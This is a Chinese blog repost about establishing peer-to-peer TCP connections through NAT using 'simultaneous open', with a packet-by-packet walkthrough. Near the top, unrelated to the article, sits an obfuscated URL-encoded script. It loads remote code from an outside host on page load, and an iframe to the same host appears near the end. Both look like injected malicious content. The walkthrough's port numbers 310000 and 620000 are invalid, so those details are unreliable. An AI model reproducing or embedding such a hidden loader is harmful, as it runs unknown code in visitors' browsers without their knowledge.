利用“同时开放TCP连接”建立基于TCP的P2P(zz)

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
利用“同时开放TCP连接”建立基于TCP的P2P(zz)




说明:zz from
http://slicetec.spaces.msn.com/
 这篇文章比之前那篇翻译的要好,主要是那篇我没找到原译文,又懒得从原英文贴上图片,呵呵。不过下面这篇就整理得不错,很详细,将连接交互的细节都说得很清楚,还有图示。



[整理]利用“同时开放TCP连接”建立基于TCP的P2P







Simultaneous TCP open
   同时开放TCP连接

 

  这里有一种方法能够在某种情况下建立一个穿透NAT的端对端TCP直连。我们知道,绝大多数的TCP会话的建立,都是通过一端先发送一个SYN包开始,另一方则回发一个SYN-ACK包的过程。然而,这里确实存在另外一种情况,就是P2P的双方各自同时地发出一个SYN包到对方的公网地址上,然后各自都单独地返回一个ACK响应来建立一个TCP会话,这个过程被称之为:“Simultaneous open”(“同时开放连接”)。

    如果一个NAT接收到一个来自私有网络外面的 TCP SYN 包,这个包想发起一个“引入”的 TCP 连接,一般来说,NAT会拒绝这个连接请求并扔掉这个SYN 包,或者回送一个TCP RST(connection reset,重建连接)包给请求方。但是,有一种情况,当这个接收到的 SYN 包 中的源IP地址和端口、目标IP地址和端口都与NAT登记的一个已经激活的TCP会话中的地址信息相符时,NAT将会放行这个SYN 包,让它进入NAT内部。特别要指出,如果NAT恰好看到一个刚刚发送出去的一个SYN包也和上面接收到的SYN包中的地址信息相符合的话,那么NAT将会认为这个TCP连接已经被激活,并将允许这个方向的SYN包进入NAT内部。

如果 Client A 和 Client B 能够彼此正确的预知对方的NAT将会给下一个TCP连接分配的公网TCP端口,并且两个客户端能够同时地发起一个“外出”的TCP连接,并在对方的 SYN 包到达之前,自己刚发送出去的SYN包都能顺利的穿过自己的NAT的话,一条端对端的TCP连接就成功地建立了。

不幸的是,这个诡计比3.4节所讲的UDP端口预言更容易被粉碎,并且对时间的敏感性的依赖更多!首先,除非双方的NAT都是Simple firewalls 或者都像cone NAT那样处理TCP通信,否则两个客户端还是无法建立这个TCP直连,因为它们无法预知对方的NAT会分配给新的会话的端口号是多少。 另外,如果双方的 SYN 到达对方的NAT 速度太快(举例来说,就是SYN A的还未穿过NAT A时,SYN B已经提早到达了NAT A),对方的NAT会将这个SYN扔掉,并返回一个 RST 包,这样就使得这个发快了的一方NAT关闭原来的会话,又重新建立一个新的会话,再利用这个新的会话重发一个SYN,这时端口预言就失效了,因为再次分配到相同的端口地址的几率太小了。

       最后,尽管在“TCP规范”中说明了“Simultaneous open”是一种支持的标准技术,但是在一些公共操作系统中,对这种技术的支持并不好。基于这个原因,我们也在这里郑重申明,并不推荐使用这个技术。如果您的应用程序想要穿透NAT并进行高效率高性能的P2P的通信,应该使用UDP技术!

 




 

过程详细描述:

Client A
发送一个
TCP SYN
包给
Client B

我们把这个
SYN
包叫做

SYN A,
包含的信息如下


SrcAddress

10.0.0.1                
Tcp port

1234 

DestAddress

138.76.29.7         
Tcp port

310000

 

同时

Client B
发送一个
TCP SYN
包给
Client A

我们把这个包叫做

SYN B,
包含的信息如下


SrcAddress

10.1.1.3               
Tcp port

1234

DestAddress

155.99.25.11      
Tcp port

620000

 

SYN A
首先通过
NAT A
(必须在
SYN B
到达
NAT A
之前),
NAT A
看到这个包并将其地址信息进行转换为:

SrcAddress

155.99.25.11        
Tcp port

620000

DestAddress

138.76.29.7        
Tcp port

310000

我们把这个经过
NAT A
转换的包叫做

SYN A’

 

同样,
SYN B
首先通过
NAT B
(也必须在
SYN A
到达
NAT B
之前),
NAT B
看到这个包并进行地址转换为:

SrcAddress

138.76.29.7          
Tcp port

310000

DestAddress

155.99.25.11      
Tcp port

620000

我们把这个经过
NAT B
转换的包叫做

SYN B’

 

这时,
NAT A

NAT B
都在自己的
TCP
连接表中存储了含有上面两个公网
IP
地址和端口信息,因此,只要看到包含这两个信息的
SYN
包,都会让其通过。

 

就在这个瞬间,
SYN A’
到达了
NAT B

NAT B
检查了一下
SYN A’
,发现它的地址信息和自己
TCP
连接表中的信息相符,便让
SYN A’
通过了,并将
SYN A’
的地址信息转换为:我们称这个包为

SYN A’’

SrcAddress

155.99.25.11     
Tcp port

620000

DestAddress

10.1.1.3          
Tcp port

1234   

以使这个包能够到达内部网中
Client B


 

也就在这个瞬间,
SYN B’
到达了
NAT A

NAT A
检查了一下
SYN B’
,发现它的地址信息和自己
TCP
连接表中的信息相符,便让
SYN B’
通过了,并将
SYN B’
的地址信息转换为:我们称这个包为

SYN B’’

SrcAddress

138.76.29.7       
Tcp port

310000

DestAddress

10.0.0.1         
Tcp port

1234    

以使这个包能够到达内部网中
Client A


 

这时,
Client A
收到了
SYN B’’

Client B
收到了
SYN A’’
,并返回给对方
ACK
,经过三次握手,这个
P2P

TCP
连接就建立了。







 



 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值